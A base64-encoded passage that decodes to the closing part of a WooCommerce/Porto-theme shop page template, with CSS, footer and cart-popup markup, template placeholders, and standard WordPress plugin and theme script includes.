1czogNTBweDsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAuZWxlbWVudG9yLTE3NjkgLmVsZW1lbnRvci1lbGVtZW50LmVsZW1lbnRvci1lbGVtZW50LTk1MDdlNzUgLnBvcnRvLWljb24uYWR2YW5jZWQgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBib3JkZXItcmFkaXVzOiA1MHB4Ow0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB3aWR0aDogODBweDsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaGVpZ2h0OiA4MHB4Ow0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBsaW5lLWhlaWdodDogODBweDsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAuZWxlbWVudG9yLTE3NjkgLmVsZW1lbnRvci1lbGVtZW50LmVsZW1lbnRvci1lbGVtZW50LTk1MDdlNzUgLnBvcnRvLXNpY29uLXRpdGxlIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZm9udC1zaXplOiAxcmVtOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb250LXdlaWdodDogNzAwOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBsaW5lLWhlaWdodDogMS4yZW07DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgLmVsZW1lbnRvci0xNzY5IC5lbGVtZW50b3ItZWxlbWVudC5lbGVtZW50b3ItZWxlbWVudC05NTA3ZTc1IC5wb3J0by1zaWNvbi1oZWFkZXIgcCB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZvbnQtc2l6ZTogMC44NzVyZW07DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZvbnQtd2VpZ2h0OiA1MDA7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGxpbmUtaGVpZ2h0OiAxZW07DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgLmVsZW1lbnRvci0xNzY5IC5lbGVtZW50b3ItZWxlbWVudC5lbGVtZW50b3ItZWxlbWVudC05NTA3ZTc1IC5wb3J0by1zaWNvbi1kZXNjcmlwdGlvbiB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZvbnQtc2l6ZTogMC44MTI1cmVtOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIC5ib3R0b20tYWRzIC5wb3J0by1zaWNvbi1oZWFkZXIgKyAucG9ydG8tc2ljb24tZGVzY3JpcHRpb24gew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBtYXJnaW4tdG9wOiAuNXJlbQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIC5ib3R0b20tYWRzIC5sZWZ0LWljb24gLnBvcnRvLXNpY29uLWxlZnQgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB2ZXJ0aWNhbC1hbGlnbjogbWlkZGxlDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgfTwvc3R5bGU+DQogICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgICAgICAgICAgPC9hc2lkZT4NCiAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgIDwvZGl2Pg0KDQogICAgICAgICAgICA8ZGl2IGlkPSJmb290ZXIiIGNsYXNzPSJmb290ZXIgZm9vdGVyLTMiDQogICAgICAgICAgICA+DQoNCiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJmb290ZXItYm90dG9tIj4NCiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iY29udGFpbmVyIj4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImZvb3Rlci1sZWZ0Ij4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB7e2Zvb3Rlcl9jb3B5cmlnaHR9fQ0KICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQoNCiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImZvb3Rlci1yaWdodCI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGltZyBjbGFzcz0iaW1nLXJlc3BvbnNpdmUgZm9vdGVyLXBheW1lbnQtaW1nIg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc3JjPSIvd3AtY29udGVudC91cGxvYWRzLzIwMjAvMDEvc2hvcDEwX3BheW1lbnQtMS5wbmciIGFsdD0iUGF5bWVudCBHYXRld2F5cyIvPg0KICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQoNCiAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICA8L2Rpdj4NCg0KDQogICAgICAgIDwvZGl2Pg0KDQogICAgPC9kaXY+DQoNCjwvZGl2PjwhLS0gZW5kIHdyYXBwZXIgLS0+DQo8ZGl2IGNsYXNzPSJhZnRlci1sb2FkaW5nLXN1Y2Nlc3MtbWVzc2FnZSBzdHlsZS0yIj4NCiAgICA8ZGl2IGNsYXNzPSJiYWNrZ3JvdW5kLW92ZXJsYXkiPjwvZGl2Pg0KICAgIDxkaXYgY2xhc3M9ImxvYWRlciBzdWNjZXNzLW1lc3NhZ2UtY29udGFpbmVyIj4NCiAgICAgICAgPGRpdiBjbGFzcz0ibXNnLWJveCI+DQogICAgICAgICAgICA8ZGl2IGNsYXNzPSJtc2ciPllvdSYjMDM5O3ZlIGp1c3QgYWRkZWQgdGhpcyBwcm9kdWN0IHRvIHRoZSBjYXJ0OjxwDQogICAgICAgICAgICAgICAgICAgIGNsYXNzPSJwcm9kdWN0LW5hbWUgdGV4dC1jb2xvci1wcmltYXJ5Ij48L3A+PC9kaXY+DQogICAgICAgIDwvZGl2Pg0KICAgICAgICA8YnV0dG9uIGNsYXNzPSJidXR0b24gYnRuLXByaW1heSB2aWV3Y2FydCIgZGF0YS1saW5rPSIiPlZpZXcgQ2FydDwvYnV0dG9uPg0KICAgICAgICA8YnV0dG9uIGNsYXNzPSJidXR0b24gYnRuLXByaW1heSBjb250aW51ZV9zaG9wcGluZyI+Q29udGludWU8L2J1dHRvbj4NCiAgICA8L2Rpdj4NCjwvZGl2Pg0KDQo8ZGl2IGNsYXNzPSJwYW5lbC1vdmVybGF5Ij48L2Rpdj4NCjxkaXYgaWQ9InNpZGUtbmF2LXBhbmVsIiBjbGFzcz0iIj4NCiAgICA8YSBocmVmPSIjIiBhcmlhLWxhYmVsPSJNb2JpbGUgQ2xvc2UiIGNsYXNzPSJzaWRlLW5hdi1wYW5lbC1jbG9zZSI+PGkgY2xhc3M9ImZhcyBmYS10aW1lcyI+PC9pPjwvYT4NCiAgICA8ZGl2IGNsYXNzPSJzd2l0Y2hlci13cmFwIj48L2Rpdj4NCiAgICA8ZGl2IGNsYXNzPSJtZW51LXdyYXAiPjx1bCBpZD0ibWVudS1tYWluLW1lbnUtMSIgY2xhc3M9Im1vYmlsZS1tZW51IGFjY29yZGlvbi1tZW51Ij57e3Byb2R1Y3RfY2F0ZWdvcnlfbW9iaWxlfX08L3VsPjwvZGl2Pg0KICAgIDxkaXYgY2xhc3M9InNoYXJlLWxpbmtzIj48YSB0YXJnZXQ9Il9ibGFuayIgcmVsPSJub2ZvbGxvdyBub29wZW5lciBub3JlZmVycmVyIiBjbGFzcz0ic2hhcmUtZmFjZWJvb2siIGhyZWY9IiMiDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHRpdGxlPSJGYWNlYm9vayI+PC9hPg0KICAgICAgICA8YSB0YXJnZXQ9Il9ibGFuayIgcmVsPSJub2ZvbGxvdyBub29wZW5lciBub3JlZmVycmVyIiBjbGFzcz0ic2hhcmUtdHdpdHRlciIgaHJlZj0iIyIgdGl0bGU9IlR3aXR0ZXIiPjwvYT4NCiAgICAgICAgPGEgdGFyZ2V0PSJfYmxhbmsiIHJlbD0ibm9mb2xsb3cgbm9vcGVuZXIgbm9yZWZlcnJlciIgY2xhc3M9InNoYXJlLWluc3RhZ3JhbSIgaHJlZj0iIyIgdGl0bGU9Ikluc3RhZ3JhbSI+PC9hPg0KICAgIDwvZGl2Pg0KPC9kaXY+DQoNCjxzY3JpcHQ+DQogICAgd2luZG93LlJTX01PRFVMRVMgPSB3aW5kb3cuUlNfTU9EVUxFUyB8fCB7fTsNCiAgICB3aW5kb3cuUlNfTU9EVUxFUy5tb2R1bGVzID0gd2luZG93LlJTX01PRFVMRVMubW9kdWxlcyB8fCB7fTsNCiAgICB3aW5kb3cuUlNfTU9EVUxFUy53YWl0aW5nID0gd2luZG93LlJTX01PRFVMRVMud2FpdGluZyB8fCBbXTsNCiAgICB3aW5kb3cuUlNfTU9EVUxFUy5kZWZlcmVkID0gdHJ1ZTsNCiAgICB3aW5kb3cuUlNfTU9EVUxFUy5tb2R1bGVXYWl0aW5nID0gd2luZG93LlJTX01PRFVMRVMubW9kdWxlV2FpdGluZyB8fCB7fTsNCiAgICB3aW5kb3cuUlNfTU9EVUxFUy50eXBlID0gJ2NvbXBpbGVkJzsNCjwvc2NyaXB0Pg0KPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KICAgIChmdW5jdGlvbiAoKSB7DQogICAgICAgIHZhciBjID0gZG9jdW1lbnQuYm9keS5jbGFzc05hbWU7DQogICAgICAgIGMgPSBjLnJlcGxhY2UoL3dvb2NvbW1lcmNlLW5vLWpzLywgJ3dvb2NvbW1lcmNlLWpzJyk7DQogICAgICAgIGRvY3VtZW50LmJvZHkuY2xhc3NOYW1lID0gYzsNCiAgICB9KSgpOw0KPC9zY3JpcHQ+DQo8bGluayByZWw9J3N0eWxlc2hlZXQnIGlkPSdlbGVtZW50b3ItaWNvbnMtY3NzJw0KICAgICAgaHJlZj0nL3dwLWNvbnRlbnQvcGx1Z2lucy9lbGVtZW50b3IvYXNzZXRzL2xpYi9laWNvbnMvY3NzL2VsZW1lbnRvci1pY29ucy5taW4uY3NzP3Zlcj01LjE3LjAnIG1lZGlhPSdhbGwnLz4NCjxsaW5rIHJlbD0nc3R5bGVzaGVldCcgaWQ9J2VsZW1lbnRvci1mcm9udGVuZC1jc3MnDQogICAgICBocmVmPScvd3AtY29udGVudC91cGxvYWRzL2VsZW1lbnRvci9jc3MvY3VzdG9tLWZyb250ZW5kLWxpdGUubWluLmNzcz92ZXI9MTcwOTg3OTQ5OCcgbWVkaWE9J2FsbCcvPg0KPGxpbmsgcmVsPSdzdHlsZXNoZWV0JyBpZD0nZWxlbWVudG9yLXBvc3QtMjE1Mi1jc3MnDQogICAgICBocmVmPScvd3AtY29udGVudC91cGxvYWRzL2VsZW1lbnRvci9jc3MvcG9zdC0yMTUyLmNzcz92ZXI9MTcwOTg3OTQ5OCcgbWVkaWE9J2FsbCcvPg0KPGxpbmsgcmVsPSdzdHlsZXNoZWV0JyBpZD0ncnMtcGx1Z2luLXNldHRpbmdzLWNzcycNCiAgICAgIGhyZWY9Jy93cC1jb250ZW50L3BsdWdpbnMvcmV2c2xpZGVyL3B1YmxpYy9hc3NldHMvY3NzL3JzNi5jc3M/dmVyPTYuNS4yMCcgbWVkaWE9J2FsbCcvPg0KPHN0eWxlIGlkPSdycy1wbHVnaW4tc2V0dGluZ3MtaW5saW5lLWNzcyc+DQogICAgI3JzLWRlbW8taWQgew0KICAgIH0NCjwvc3R5bGU+DQo8c2NyaXB0IHNyYz0nL3dwLWNvbnRlbnQvcGx1Z2lucy9jb250YWN0LWZvcm0tNy9pbmNsdWRlcy9zd3YvanMvaW5kZXguanM/dmVyPTUuNy4zJyBpZD0nc3d2LWpzJz48L3NjcmlwdD4NCjxzY3JpcHQgaWQ9J2NvbnRhY3QtZm9ybS03LWpzLWV4dHJhJz4NCiAgICB2YXIgd3BjZjcgPSB7ImFwaSI6IHsicm9vdCI6ICJcL3dwLWpzb25cLyIsICJuYW1lc3BhY2UiOiAiY29udGFjdC1mb3JtLTdcL3YxIn19Ow0KPC9zY3JpcHQ+DQo8c2NyaXB0IHNyYz0nL3dwLWNvbnRlbnQvcGx1Z2lucy9jb250YWN0LWZvcm0tNy9pbmNsdWRlcy9qcy9pbmRleC5qcz92ZXI9NS43LjMnIGlkPSdjb250YWN0LWZvcm0tNy1qcyc+PC9zY3JpcHQ+DQo8c2NyaXB0IHNyYz0nL3dwLWNvbnRlbnQvcGx1Z2lucy9yZXZzbGlkZXIvcHVibGljL2Fzc2V0cy9qcy9yYnRvb2xzLm1pbi5qcz92ZXI9Ni41LjE4JyBkZWZlciBhc3luYw0KICAgICAgICBpZD0ndHAtdG9vbHMtanMnPjwvc2NyaXB0Pg0KPHNjcmlwdCBzcmM9Jy93cC1jb250ZW50L3BsdWdpbnMvcmV2c2xpZGVyL3B1YmxpYy9hc3NldHMvanMvcnM2Lm1pbi5qcz92ZXI9Ni41LjIwJyBkZWZlciBhc3luYyBpZD0ncmV2bWluLWpzJz48L3NjcmlwdD4NCjxzY3JpcHQgc3JjPScvd3AtY29udGVudC9wbHVnaW5zL3dvb2NvbW1lcmNlL2Fzc2V0cy9qcy9qcXVlcnktYmxvY2t1aS9qcXVlcnkuYmxvY2tVSS5taW4uanM/dmVyPTIuNy4wLXdjLjYuNy4wJw0KICAgICAgICBpZD0nanF1ZXJ5LWJsb2NrdWktanMnPjwvc2NyaXB0Pg0KPHNjcmlwdCBpZD0nd2MtYWRkLXRvLWNhcnQtanMtZXh0cmEnPg0KICAgIHZhciB3Y19hZGRfdG9fY2FydF9wYXJhbXMgPSB7DQogICAgICAgICJhamF4X3VybCI6ICJcL3NhYXMtc2VvXC9hZG1pbi1hamF4LnBocCIsDQogICAgICAgICJ3Y19hamF4X3VybCI6ICJcLz93Yy1hamF4PSUlZW5kcG9pbnQlJSIsDQogICAgICAgICJpMThuX3ZpZXdfY2FydCI6ICJWaWV3IGNhcnQiLA0KICAgICAgICAiY2FydF91cmwiOiAiXC9jYXJ0IiwNCiAgICAgICAgImlzX2NhcnQiOiAiIiwNCiAgICAgICAgImNhcnRfcmVkaXJlY3RfYWZ0ZXJfYWRkIjogIm5vIg0KICAgIH07DQo8L3NjcmlwdD4NCjxzY3JpcHQgc3JjPScvd3AtY29udGVudC9wbHVnaW5zL3dvb2NvbW1lcmNlL2Fzc2V0cy9qcy9mcm9udGVuZC9hZGQtdG8tY2FydC5taW4uanM/dmVyPTYuNy4wJw0KICAgICAgICBpZD0nd2MtYWRkLXRvLWNhcnQtanMnPjwvc2NyaXB0Pg0KPHNjcmlwdCBpZD0nd2Mtc2luZ2xlLXByb2R1Y3QtanMtZXh0cmEnPg0KICAgIHZhciB3Y19zaW5nbGVfcHJvZHVjdF9wYXJhbXMgPSB7DQogICAgICAgICJpMThuX3JlcXVpcmVkX3JhdGluZ190ZXh0IjogIlBsZWFzZSBzZWxlY3QgYSByYXRpbmciLA0KICAgICAgICAicmV2aWV3X3JhdGluZ19yZXF1aXJlZCI6ICJ5ZXMiLA0KICAgICAgICAiZmxleHNsaWRlciI6IHsNCiAgICAgICAgICAgICJydGwiOiBmYWxzZSwNCiAgICAgICAgICAgICJhbmltYXRpb24iOiAic2xpZGUiLA0KICAgICAgICAgICAgInNtb290aEhlaWdodCI6IHRydWUsDQogICAgICAgICAgICAiZGlyZWN0aW9uTmF2IjogZmFsc2UsDQogICAgICAgICAgICAiY29udHJvbE5hdiI6ICJ0aHVtYm5haWxzIiwNCiAgICAgICAgICAgICJzbGlkZXNob3ciOiBmYWxzZSwNCiAgICAgICAgICAgICJhbmltYXRpb25TcGVlZCI6IDUwMCwNCiAgICAgICAgICAgICJhbmltYXRpb25Mb29wIjogZmFsc2UsDQogICAgICAgICAgICAiYWxsb3dPbmVTbGlkZSI6IGZhbHNlDQogICAgICAgIH0sDQogICAgICAgICJ6b29tX2VuYWJsZWQiOiAiIiwNCiAgICAgICAgInpvb21fb3B0aW9ucyI6IFtdLA0KICAgICAgICAicGhvdG9zd2lwZV9lbmFibGVkIjogIiIsDQogICAgICAgICJwaG90b3N3aXBlX29wdGlvbnMiOiB7DQogICAgICAgICAgICAic2hhcmVFbCI6IGZhbHNlLA0KICAgICAgICAgICAgImNsb3NlT25TY3JvbGwiOiBmYWxzZSwNCiAgICAgICAgICAgICJoaXN0b3J5IjogZmFsc2UsDQogICAgICAgICAgICAiaGlkZUFuaW1hdGlvbkR1cmF0aW9uIjogMCwNCiAgICAgICAgICAgICJzaG93QW5pbWF0aW9uRHVyYXRpb24iOiAwDQogICAgICAgIH0sDQogICAgICAgICJmbGV4c2xpZGVyX2VuYWJsZWQiOiAiIg0KICAgIH07DQo8L3NjcmlwdD4NCjxzY3JpcHQgc3JjPScvd3AtY29udGVudC9wbHVnaW5zL3dvb2NvbW1lcmNlL2Fzc2V0cy9qcy9mcm9udGVuZC9zaW5nbGUtcHJvZHVjdC5taW4uanM/dmVyPTYuNy4wJw0KICAgICAgICBpZD0nd2Mtc2luZ2xlLXByb2R1Y3QtanMnPjwvc2NyaXB0Pg0KPHNjcmlwdCBzcmM9Jy93cC1jb250ZW50L3BsdWdpbnMvd29vY29tbWVyY2UvYXNzZXRzL2pzL2pzLWNvb2tpZS9qcy5jb29raWUubWluLmpzP3Zlcj0yLjEuNC13Yy42LjcuMCcNCiAgICAgICAgaWQ9J2pzLWNvb2tpZS1qcyc+PC9zY3JpcHQ+DQo8c2NyaXB0IGlkPSd3b29jb21tZXJjZS1qcy1leHRyYSc+DQogICAgdmFyIHdvb2NvbW1lcmNlX3BhcmFtcyA9IHsiYWpheF91cmwiOiAiXC9zYWFzLXNlb1wvYWRtaW4tYWpheC5waHAiLCAid2NfYWpheF91cmwiOiAiXC8/d2MtYWpheD0lJWVuZHBvaW50JSUifTsNCjwvc2NyaXB0Pg0KPHNjcmlwdCBzcmM9Jy93cC1jb250ZW50L3BsdWdpbnMvd29vY29tbWVyY2UvYXNzZXRzL2pzL2Zyb250ZW5kL3dvb2NvbW1lcmNlLm1pbi5qcz92ZXI9Ni43LjAnDQogICAgICAgIGlkPSd3b29jb21tZXJjZS1qcyc+PC9zY3JpcHQ+DQo8c2NyaXB0IGlkPSd3Yy1jYXJ0LWZyYWdtZW50cy1qcy1leHRyYSc+DQogICAgdmFyIHdjX2NhcnRfZnJhZ21lbnRzX3BhcmFtcyA9IHsNCiAgICAgICAgImFqYXhfdXJsIjogIlwvc2Fhcy1zZW9cL2FkbWluLWFqYXgucGhwIiwNCiAgICAgICAgIndjX2FqYXhfdXJsIjogIlwvP3djLWFqYXg9JSVlbmRwb2ludCUlIiwNCiAgICAgICAgImNhcnRfaGFzaF9rZXkiOiAid2NfY2FydF9oYXNoX2FiNjgxNDExNThiOWY2YmJiNzM2N2ZjMDY5YWIyY2FmIiwNCiAgICAgICAgImZyYWdtZW50X25hbWUiOiAid2NfZnJhZ21lbnRzX2FiNjgxNDExNThiOWY2YmJiNzM2N2ZjMDY5YWIyY2FmIiwNCiAgICAgICAgInJlcXVlc3RfdGltZW91dCI6ICI1MDAwIg0KICAgIH07DQo8L3NjcmlwdD4NCjxzY3JpcHQgc3JjPScvd3AtY29udGVudC9wbHVnaW5zL3dvb2NvbW1lcmNlL2Fzc2V0cy9qcy9mcm9udGVuZC9jYXJ0LWZyYWdtZW50cy5taW4uanM/dmVyPTYuNy4wJw0KICAgICAgICBpZD0nd2MtY2FydC1mcmFnbWVudHMtanMnPjwvc2NyaXB0Pg0KPHNjcmlwdCBpZD0ncG9ydG8tbGl2ZS1zZWFyY2gtanMtZXh0cmEnPg0KICAgIHZhciBwb3J0b19saXZlX3NlYXJjaCA9IHsibm9uY2UiOiAiZjg5MmRkOTQ2OSJ9Ow0KPC9zY3JpcHQ+DQo8c2NyaXB0IHNyYz0nL3dwLWNvbnRlbnQvdGhlbWVzL3BvcnRvL2luYy9saWIvbGl2ZS1zZWFyY2gvbGl2ZS1zZWFyY2gubWluLmpzP3Zlcj02LjcuMicNCiAgICAgICAgaWQ9J3BvcnRvLWxpdmUtc2VhcmNoLWpzJz48L3NjcmlwdD4NCjxzY3JpcHQgc3JjPScvd3AtY29udGVudC9wbHVnaW5zL3dvby1hamF4LWFkZC10by1jYXJ0L2Fzc2V0cy9mcm9udGVuZC93b28tYWpheC1hZGQtdG8tY2FydC5taW4uanM/dmVyPTEuNC4wJw0KICAgICAgICBpZD0nd29vLWFqYXgtYWRkLXRvLWNhcnQtanMnPjwvc2NyaXB0Pg0KPHNjcmlwdCBzcmM9Jy93cC1pbmNsdWRlcy9qcy9jb21tZW50LXJlcGx5Lm1pbi5qcz92ZXI9Ni4xLjUnIGlkPSdjb21tZW50LXJlcGx5LWpzJz48L3NjcmlwdD4NCjxzY3JpcHQgc3JjPScvd3AtY29udGVudC90aGVtZXMvcG9ydG8vanMvYm9vdHN0cmFwLmpzP3Zlcj01LjAuMScgaWQ9J2Jvb3RzdHJhcC1qcyc+PC9zY3JpcHQ+DQo8c2NyaXB0IHNyYz0nL3dwLWNvbnRlbnQvcGx1Z2lucy93b29jb21tZXJjZS9hc3NldHMvanMvanF1ZXJ5LWNvb2tpZS9qcXVlcnkuY29va2llLm1pbi5qcz92ZXI9MS40LjEtd2MuNi43LjAnDQogICAgICAgIGlkPSdqcXVlcnktY29va2llLWpzJz48L3NjcmlwdD4NCjxzY3JpcHQgc3JjPScvd3AtY29udGVudC90aGVtZXMvcG9ydG8vanMvbGlicy9vd2wuY2Fyb3VzZWwubWluLmpzP3Zlcj0yLjMuNCcgaWQ9J293bC5jYXJvdXNlbC1qcyc+PC9zY3JpcHQ+DQo8c2NyaXB0IHNyYz0nL3dwLWluY2x1ZGVzL2pzL2ltYWdlc2xvYWRlZC5taW4uanM/dmVyPTQuMS40JyBpZD0naW1hZ2VzbG9hZGVkLWpzJz48L3NjcmlwdD4NCjxzY3JpcHQgYXN5bmM9ImFzeW5jIiBzcmM9Jy93cC1jb250ZW50L3RoZW1lcy9wb3J0by9qcy9saWJzL2pxdWVyeS5tYWduaWZpYy1wb3B1cC5taW4uanM/dmVyPTEuMS4wJw0KICAgICAgICBpZD0nanF1ZXJ5LW1hZ25pZmljLXBvcHVwLWpzJz48L3NjcmlwdD4NCjxzY3JpcHQgc3JjPScvd3AtY29udGVudC90aGVtZXMvcG9ydG8vanMvbGlicy9qcXVlcnkuZWxldmF0ZXpvb20ubWluLmpzP3Zlcj0zLjAuOCcgaWQ9J2pxdWVyeS1lbGV2YXRlem9vbS1qcyc+PC9zY3JpcHQ+DQo8c2NyaXB0IGlkPSdwb3J0by10aGVtZS1qcy1leHRyYSc+DQogICAgdmFyIGpzX3BvcnRvX3ZhcnMgPSB7DQogICAgICAgICJydGwiOiAiIiwNCiAgICAgICAgInRoZW1lX3VybCI6ICJcL3dwLWNvbnRlbnRcL3RoZW1lc1wvcG9ydG8iLA0KICAgICAgICAiYWpheF91cmwiOiAiXC9zYWFzLXNlb1wvYWRtaW4tYWpheC5waHAiLA0KICAgICAgICAiY2hhbmdlX2xvZ28iOiAiMSIsDQogICAgICAgICJjb250YWluZXJfd2lkdGgiOiAiMTE0MCIsDQogICAgICAgICJncmlkX2d1dHRlcl93aWR0aCI6ICIyMCIsDQogICAgICAgICJzaG93X3N0aWNreV9oZWFkZXIiOiAiMSIsDQogICAgICAgICJzaG93X3N0aWNreV9oZWFkZXJfdGFibGV0IjogIjEiLA0KICAgICAgICAic2hvd19zdGlja3lfaGVhZGVyX21vYmlsZSI6ICIxIiwNCiAgICAgICAgImFqYXhfbG9hZGVyX3VybCI6ICJcL3dwLWNvbnRlbnRcL3RoZW1lc1wvcG9ydG9cL2ltYWdlc1wvYWpheC1sb2FkZXJAMnguZ2lmIiwNCiAgICAgICAgImNhdGVnb3J5X2FqYXgiOiAiIiwNCiAgICAgICAgImNvbXBhcmVfcG9wdXAiOiAiIiwNCiAgICAgICAgImNvbXBhcmVfcG9wdXBfdGl0bGUiOiAiIiwNCiAgICAgICAgInByZGN0Zmx0cl9hamF4IjogIiIsDQogICAgICAgICJzbGlkZXJfbG9vcCI6ICIxIiwNCiAgICAgICAgInNsaWRlcl9hdXRvcGxheSI6ICIxIiwNCiAgICAgICAgInNsaWRlcl9hdXRvaGVpZ2h0IjogIjEiLA0KICAgICAgICAic2xpZGVyX3NwZWVkIjogIjUwMDAiLA0KICAgICAgICAic2xpZGVyX25hdiI6ICIiLA0KICAgICAgICAic2xpZGVyX25hdl9ob3ZlciI6ICIxIiwNCiAgICAgICAgInNsaWRlcl9tYXJnaW4iOiAiIiwNCiAgICAgICAgInNsaWRlcl9kb3RzIjogIjEiLA0KICAgICAgICAic2xpZGVyX2FuaW1hdGVpbiI6ICIiLA0KICAgICAgICAic2xpZGVyX2FuaW1hdGVvdXQiOiAiIiwNCiAgICAgICAgInByb2R1Y3RfdGh1bWJzX2NvdW50IjogIjQiLA0KICAgICAgICAicHJvZHVjdF96b29tIjogIjEiLA0KICAgICAgICAicHJvZHVjdF96b29tX21vYmlsZSI6ICIxIiwNCiAgICAgICAgInByb2R1Y3RfaW1hZ2VfcG9wdXAiOiAiMSIsDQogICAgICAgICJ6b29tX3R5cGUiOiAiaW5uZXIiLA0KICAgICAgICAiem9vbV9zY3JvbGwiOiAiMSIsDQogICAgICAgICJ6b29tX2xlbnNfc2l6ZSI6ICIyMDAiLA0KICAgICAgICAiem9vbV9sZW5zX3NoYXBlIjogInNxdWFyZSIsDQogICAgICAgICJ6b29tX2NvbnRhaW5fbGVucyI6ICIxIiwNCiAgICAgICAgInpvb21fbGVuc19ib3JkZXIiOiAiMSIsDQogICAgICAgICJ6b29tX2JvcmRlcl9jb2xvciI6ICIjODg4ODg4IiwNCiAgICAgICAgInpvb21fYm9yZGVyIjogIjAiLA0KICAgICAgICAic2NyZWVuX2xnIjogIjExNjAiLA0KICAgICAgICAibWZwX2NvdW50ZXIiOiAiJWN1cnIlIG9mICV0b3RhbCUiLA0KICAgICAgICAibWZwX2ltZ19lcnJvciI6ICI8YSBocmVmPVwiJXVybCVcIj5UaGUgaW1hZ2U8XC9hPiBjb3VsZCBub3QgYmUgbG9hZGVkLiIsDQogICAgICAgICJtZnBfYWpheF9lcnJvciI6ICI8YSBocmVmPVwiJXVybCVcIj5UaGUgY29udGVudDxcL2E+IGNvdWxkIG5vdCBiZSBsb2FkZWQuIiwNCiAgICAgICAgInBvcHVwX2Nsb3NlIjogIkNsb3NlIiwNCiAgICAgICAgInBvcHVwX3ByZXYiOiAiUHJldmlvdXMiLA0KICAgICAgICAicG9wdXBfbmV4dCI6ICJOZXh0IiwNCiAgICAgICAgInJlcXVlc3RfZXJyb3IiOiAiVGhlIHJlcXVlc3RlZCBjb250ZW50IGNhbm5vdCBiZSBsb2FkZWQuPGJyXC8+UGxlYXNlIHRyeSBhZ2FpbiBsYXRlci4iLA0KICAgICAgICAibG9hZGVyX3RleHQiOiAiTG9hZGluZy4uLiIsDQogICAgICAgICJzdWJtZW51X2JhY2siOiAiQmFjayIsDQogICAgICAgICJwb3J0b19ub25jZSI6ICJkOWI0MGM2NjFjIiwNCiAgICAgICAgInVzZV9za2VsZXRvbl9zY3JlZW4iOiBbInNob3AiLCAicHJvZHVjdCIsICJxdWlja3ZpZXciXSwNCiAgICAgICAgInVzZXJfZWRpdF9wYWdlcyI6ICIiLA0KICAgICAgICAicXVpY2tfYWNjZXNzIjogIkNsaWNrIHRvIGVkaXQgdGhpcyBlbGVtZW50LiIsDQogICAgICAgICJnb3RvX3R5cGUiOiAiR28gVG8gdGhlIFR5cGUgQnVpbGRlci4iLA0KICAgICAgICAibGVnYWN5X21vZGUiOiAiMSIsDQogICAgICAgICJwcmVfb3JkZXIiOiAiIg0KICAgIH07DQo8L3NjcmlwdD4NCjxzY3JpcHQgc3JjPScvd3AtY29udGVudC90aGVtZXMvcG9ydG8vanMvdGhlbWUuanM/dmVyPTYuNy4yJyBpZD0ncG9ydG8tdGhlbWUtanMnPjwvc2NyaXB0Pg0KPHNjcmlwdCBhc3luYz0iYXN5bmMiIHNyYz0nL3dwLWNvbnRlbnQvdGhlbWVzL3BvcnRvL2pzL3RoZW1lLWFzeW5jLmpzP3Zlcj02LjcuMicgaWQ9J3BvcnRvLXRoZW1lLWFzeW5jLWpzJz48L3NjcmlwdD4NCjxzY3JpcHQgc3JjPScvd3AtY29udGVudC90aGVtZXMvcG9ydG8vanMvd29vY29tbWVyY2UtdGhlbWUuanM/dmVyPTYuNy4yJyBpZD0ncG9ydG8td29vY29tbWVyY2UtdGhlbWUtanMnPjwvc2NyaXB0Pg0KPHNjcmlwdCBzcmM9Jy93cC1jb250ZW50L3RoZW1lcy9wb3J0by9qcy9saWJzL2Vhc3ktcmVzcG9uc2l2ZS10YWJzLm1pbi5qcz92ZXI9Ni43LjInDQogICAgICAgIGlkPSdlYXN5LXJlc3BvbnNpdmUtdGFicy1qcyc+PC9zY3JpcHQ+DQo8IS0tIFdvb0NvbW1lcmNlIEphdmFTY3JpcHQgLS0+DQo8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+DQogICAgalF1ZXJ5KGZ1bmN0aW9uICgkKSB7DQogICAgICAgIGpRdWVyeShkb2N1bWVudC5ib2R5KS50cmlnZ2VyKCd3Y19mcmFnbWVudF9yZWZyZXNoJykNCiAgICB9KTsNCjwvc2NyaXB0Pg0KPC9ib2R5Pg0KPC9odG1